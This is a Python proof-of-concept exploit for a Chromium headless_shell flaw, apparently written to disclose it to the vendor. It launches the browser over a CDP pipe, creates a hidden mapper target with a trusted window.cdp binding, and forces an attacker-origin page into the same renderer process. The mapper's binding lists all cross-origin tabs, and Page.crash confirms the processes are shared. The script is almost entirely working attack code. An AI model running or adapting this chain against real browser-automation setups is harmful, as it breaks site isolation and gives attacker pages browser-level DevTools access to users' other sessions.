#!/usr/bin/env python3
"""
POC: chrome-headless-shell embedder-layer TargetHandler intercepts
Target.createTarget(hidden:true) before content-layer HiddenTargetManager,
so the SetIsUsed() mitigation never runs. The hidden "BiDi mapper" renderer
process keeps IsUnused()/allows-any-site and becomes eligible for
cross-origin process reuse once IsProcessLimitReached(). An attacker-origin
page is co-scheduled into the same renderer process as the mapper frame
that holds a trusted browser-level `window.cdp` binding (installed by
Target.exposeDevToolsProtocol).

This script reproduces exactly what ChromeDriver / Puppeteer-BiDi does:
  1) connect to chrome-headless-shell over --remote-debugging-pipe
  2) Target.createTarget({url:"", hidden:true})         <- intercepted by headless layer
  3) Target.exposeDevToolsProtocol({targetId, "cdp"})   <- installs trusted binding
then drives a "user" navigation to an attacker origin with a small
--renderer-process-limit so that GetExistingProcessHost() picks the
mapper's IsUnused() process for the attacker site.

Proof produced (no source modifications required):
  * SystemInfo.getProcessInfo shows a single renderer process hosting
    both the mapper target and the cross-origin attacker target.
  * The mapper's `window.cdp` binding successfully issues a TRUSTED
    browser-level CDP command (Browser.getVersion) -- this is the
    privilege a co-resident compromised renderer would inherit.
  * Page.crash on the ATTACKER target also crashes the MAPPER target
    (Target.targetCrashed fires for both) -- definitive proof they share
    one renderer process.
"""

import json
import os
import subprocess
import sys
import threading
import time

HEADLESS_SHELL = os.environ.get(
    "HEADLESS_SHELL", "/chromium/chromium/src/out/asan/headless_shell")
HTTP_PORT = 8080


# ---------------------------------------------------------------------------
# CDP-over-pipe transport (fd 3 = browser reads, fd 4 = browser writes)
# ---------------------------------------------------------------------------

class PipeCDP:
    def __init__(self, extra_args=None):
        # browser reads commands from fd 3, writes responses to fd 4
        cmd_r, self._cmd_w = os.pipe()       # we write -> browser fd3 reads
        self._resp_r, resp_w = os.pipe()     # browser fd4 writes -> we read
        # Re-dup the child-side ends to fds >= 10 so the bash trampoline's
        # `exec 3<&N 4>&M` can never collide with 3/4 themselves.
        import fcntl
        self._cmd_r = fcntl.fcntl(cmd_r, fcntl.F_DUPFD, 10)
        self._resp_w = fcntl.fcntl(resp_w, fcntl.F_DUPFD, 10)
        os.close(cmd_r)
        os.close(resp_w)
        os.set_inheritable(self._cmd_r, True)
        os.set_inheritable(self._resp_w, True)

        args = [
            HEADLESS_SHELL,
            "--remote-debugging-pipe",
            "--user-data-dir=/tmp/headless-poc-profile",
            "--no-first-run",
            "--no-sandbox",   # container/ASAN environment only; the bug is in
                              # the browser process, sandbox state is irrelevant
            "--disable-gpu",
            "--disable-dev-shm-usage",
            "--host-resolver-rules=MAP *.test 127.0.0.1",
        ] + (extra_args or [])
        log("launching:", " ".join(args))

        # Map our pipe ends onto fd 3 / fd 4 in the child. We can't rely on
        # preexec_fn (close_fds ordering varies across Python versions), so
        # use a bash trampoline that dups the inherited fds to 3/4.
        tramp = (
            f"exec 3<&{self._cmd_r} 4>&{self._resp_w}; exec \"$@\""
        )
        self.proc = subprocess.Popen(
            ["bash", "-c", tramp, "--"] + args,
            pass_fds=(self._cmd_r, self._resp_w),
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
        )
        os.close(self._cmd_r)
        os.close(self._resp_w)

        self._next_id = 1
        self._buf = b""
        self._pending = {}       # id -> response dict
        self._events = []        # list of event dicts
        self._lock = threading.Lock()

        self._stderr_lines = []
        threading.Thread(target=self._drain_stderr, daemon=True).start()
        threading.Thread(target=self._reader, daemon=True).start()

    # -- low-level ---------------------------------------------------------

    def _drain_stderr(self):
        for line in iter(self.proc.stdout.readline, b""):
            text = line.decode(errors="replace").rstrip()
            self._stderr_lines.append(text)
            # surface our instrumentation lines and crashes immediately
            if "[POC]" in text or "FATAL" in text or "Sanitizer" in text:
                print("  chrome:", text, flush=True)

    def _reader(self):
        while True:
            try:
                chunk = os.read(self._resp_r, 65536)
            except OSError:
                return
            if not chunk:
                return
            self._buf += chunk
            while True:
                idx = self._buf.find(b"\x00")
                if idx < 0:
                    break
                raw = self._buf[:idx]
                self._buf = self._buf[idx + 1:]
                if not raw:
                    continue
                try:
                    msg = json.loads(raw)
                except Exception:
                    continue
                with self._lock:
                    if "id" in msg:
                        self._pending[msg["id"]] = msg
                    else:
                        self._events.append(msg)

    def _write(self, obj):
        data = json.dumps(obj).encode() + b"\x00"
        os.write(self._cmd_w, data)

    # -- high-level --------------------------------------------------------

    def send(self, method, params=None, session_id=None, timeout=20):
        cid = self._next_id
        self._next_id += 1
        msg = {"id": cid, "method": method, "params": params or {}}
        if session_id:
            msg["sessionId"] = session_id
        self._write(msg)
        deadline = time.time() + timeout
        while time.time() < deadline:
            with self._lock:
                if cid in self._pending:
                    return self._pending.pop(cid)
            time.sleep(0.01)
        raise TimeoutError(f"{method} timed out")

    def wait_event(self, method, pred=None, timeout=20):
        deadline = time.time() + timeout
        while time.time() < deadline:
            with self._lock:
                for i, ev in enumerate(self._events):
                    if ev.get("method") == method and (pred is None or pred(ev)):
                        return self._events.pop(i)
            time.sleep(0.01)
        return None

    def drain_events(self, method):
        out = []
        with self._lock:
            keep = []
            for ev in self._events:
                if ev.get("method") == method:
                    out.append(ev)
                else:
                    keep.append(ev)
            self._events = keep
        return out

    def grep_log(self, needle):
        return [l for l in self._stderr_lines if needle in l]

    def dump_log(self, n=50):
        for l in self._stderr_lines[-n:]:
            print("  chrome:", l)

    def close(self):
        try:
            self.send("Browser.close", timeout=5)
        except Exception:
            pass
        try:
            os.close(self._cmd_w)
        except Exception:
            pass
        try:
            self.proc.wait(timeout=10)
        except Exception:
            self.proc.kill()


# ---------------------------------------------------------------------------

def log(*a):
    print("[*]", *a, flush=True)

def ok(*a):
    print("[+]", *a, flush=True)

def bad(*a):
    print("[-]", *a, flush=True)


def renderer_pids(cdp):
    r = cdp.send("SystemInfo.getProcessInfo")
    pis = r.get("result", {}).get("processInfo", [])
    return sorted(p["id"] for p in pis if p.get("type") == "renderer")


def main():
    # ---- start the attacker/victim HTTP server ---------------------------
    srv = subprocess.Popen(
        [sys.executable, os.path.join(os.path.dirname(__file__), "server.py"),
         str(HTTP_PORT)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    time.sleep(0.5)

    subprocess.run(["rm", "-rf", "/tmp/headless-poc-profile"])

    # --renderer-process-limit=2 sets g_max_renderer_count_override so that
    # IsProcessLimitReached() fires after the mapper + one normal site.
    # This mirrors resource-limited automation deployments (--pids-limit
    # containers / explicit --renderer-process-limit), the same precondition
    # that motivated the content-layer SetIsUsed() fix.
    #
    # --site-per-process: HeadlessContentBrowserClient::
    # ShouldEnableStrictSiteIsolation() returns false, so headless_shell
    # only site-isolates with this documented flag. The SetIsUsed()
    # mitigation that this bug bypasses only matters when
    # ShouldLockProcessToSite() is true; --site-per-process is the
    # configuration that mitigation was written for (and is the default in
    # regular Chrome and chrome --headless=new). It is a hardening flag, not
    # a security-gate bypass.
    cdp = PipeCDP(extra_args=["--renderer-process-limit=2",
                              "--site-per-process"])

    try:
        # browser-level events
        cdp.send("Target.setDiscoverTargets", {"discover": True})

        # ---- step 1: BiDi-mapper hidden target (what ChromeDriver does) --
        log("Target.createTarget({hidden:true}) -- should be intercepted by "
            "headless embedder layer, NOT content::HiddenTargetManager")
        r = cdp.send("Target.createTarget", {"url": "", "hidden": True})
        mapper_id = r["result"]["targetId"]
        ok("mapper targetId =", mapper_id)
        time.sleep(3)  # let the about:blank renderer come up (ASAN is slow)

        # ---- step 2: install the trusted browser-level binding ----------
        r = cdp.send("Target.exposeDevToolsProtocol",
                     {"targetId": mapper_id, "bindingName": "cdp"},
                     timeout=60)
        if "error" in r:
            bad("exposeDevToolsProtocol failed:", r["error"])
        else:
            ok("exposeDevToolsProtocol -> trusted BrowserToPageConnector wired")

        time.sleep(1.0)  # let about:blank commit
        before = renderer_pids(cdp)
        log("renderer PIDs after mapper only:", before)

        # ---- step 3: a 'normal' tab on a site-isolated origin -----------
        log("creating normal tab -> http://victim.test:%d/" % HTTP_PORT)
        r = cdp.send("Target.createTarget",
                     {"url": "http://victim.test:%d/" % HTTP_PORT})
        victim_id = r["result"]["targetId"]
        time.sleep(2.0)

        mid = renderer_pids(cdp)
        log("renderer PIDs after mapper+victim:", mid)

        # ---- step 4: attacker origin -- IsProcessLimitReached() now true,
        #      GetExistingProcessHost() must pick a 'suitable' host. The
        #      mapper's process is IsUnused()/allows-any-site so it qualifies
        #      for ANY site; the victim process is locked to victim.test and
        #      does not. attacker.test therefore lands in the mapper process.
        log("creating attacker tab -> http://attacker.test:%d/ "
            "(process limit reached)" % HTTP_PORT)
        r = cdp.send("Target.createTarget",
                     {"url": "http://attacker.test:%d/" % HTTP_PORT})
        attacker_id = r["result"]["targetId"]
        time.sleep(2.0)

        after = renderer_pids(cdp)
        log("renderer PIDs after mapper+victim+attacker:", after)

        # ---- evidence A: process count did not grow past the limit ------
        if len(after) <= 2:
            ok("EVIDENCE A: 3 targets across <=2 renderer processes "
               "(attacker reused an existing process)")
        else:
            bad("3 renderer processes -- attacker got its own process?")

        # ---- evidence B: the cdp binding in the mapper context reaches a
        #      TRUSTED browser-level DevTools session ---------------------
        sm = cdp.send("Target.attachToTarget",
                      {"targetId": mapper_id, "flatten": True}
                      )["result"]["sessionId"]
        cdp.send("Runtime.enable", session_id=sm)
        log("probing window.cdp in mapper context ...")
        # The BrowserToPageConnector's browser_host_ is a
        # BrowserDevToolsAgentHost::CreateForDiscovery() session, which wires
        # protocol::TargetHandler with AccessMode::kBrowser. That alone grants
        # Target.getTargets / attachToBrowserTarget / createTarget(file://) /
        # attachToTarget on ANY target -- full browser-process trust.
        probe = cdp.send("Runtime.evaluate", {
            "expression":
                "new Promise(res => {"
                "  window.cdp.onmessage = m => res(m);"
                "  window.cdp.send(JSON.stringify("
                "    {id:1, method:'Target.getTargets'}));"
                "})",
            "awaitPromise": True, "returnByValue": True,
        }, session_id=sm)
        val = probe.get("result", {}).get("result", {}).get("value")
        ex = probe.get("result", {}).get("exceptionDetails")
        if isinstance(val, str) and "victim.test" in val and not ex:
            ok("EVIDENCE B: window.cdp -> trusted AccessMode::kBrowser "
               "TargetHandler; Target.getTargets exposed ALL cross-origin "
               "tabs from inside the renderer:")
            try:
                for ti in json.loads(val)["result"]["targetInfos"]:
                    print("             - %s  %s" % (ti["targetId"], ti["url"]))
            except Exception:
                print("            ", str(val)[:300])
        else:
            bad("cdp binding probe:", json.dumps(probe)[:400])

        # ---- evidence C: Page.crash on the ATTACKER tab also crashes the
        #      MAPPER tab => same renderer process --------------------------
        sa = cdp.send("Target.attachToTarget",
                      {"targetId": attacker_id, "flatten": True}
                      )["result"]["sessionId"]
        # confirm the attacker page actually committed cross-origin
        loc = cdp.send("Runtime.evaluate",
                       {"expression": "location.href", "returnByValue": True},
                       session_id=sa)
        log("attacker tab location.href =",
            loc.get("result", {}).get("result", {}).get("value"))

        cdp.drain_events("Target.targetCrashed")
        log("issuing Page.crash on the ATTACKER tab ...")
        try:
            cdp.send("Page.crash", session_id=sa, timeout=10)
        except TimeoutError:
            pass  # Page.crash never replies once the renderer dies
        time.sleep(2.0)

        crashed = {ev["params"]["targetId"]
                   for ev in cdp.drain_events("Target.targetCrashed")}
        log("Target.targetCrashed received for:", sorted(crashed))

        coresident = mapper_id in crashed and attacker_id in crashed
        victim_isolated = victim_id not in crashed

        if coresident:
            ok("EVIDENCE C: crashing the attacker renderer ALSO crashed the "
               "mapper target")
            ok("  => attacker.test and the trusted-cdp mapper share ONE "
               "renderer process")
            if victim_isolated:
                ok("  (victim.test stayed alive in its own locked process, "
                   "as expected)")
        else:
            bad("mapper did NOT crash with attacker -- not co-resident?")

        # ---- instrumentation evidence (only present when the optional
        #      instrumentation.patch is applied) --------------------------
        inst = cdp.grep_log("[POC]")
        if inst:
            print()
            log("instrumentation log lines:")
            for l in inst:
                print("   ", l)
            if not any("CreateHiddenTarget called" in l for l in inst):
                ok("  (content::HiddenTargetManager::CreateHiddenTarget log "
                   "line is ABSENT -> content-layer SetIsUsed() fix never ran)")

        # ---- verdict -----------------------------------------------------
        print()
        if coresident:
            ok("VULNERABILITY CONFIRMED: headless-layer Target.createTarget("
               "hidden) bypassed content::HiddenTargetManager::SetIsUsed(); "
               "the mapper renderer was reused for a site-isolated attacker "
               "origin and is co-resident with a trusted browser-level CDP "
               "binding.")
            return 0
        else:
            bad("could not demonstrate co-residence")
            return 1

    finally:
        cdp.close()
        srv.terminate()


if __name__ == "__main__":
    sys.exit(main())
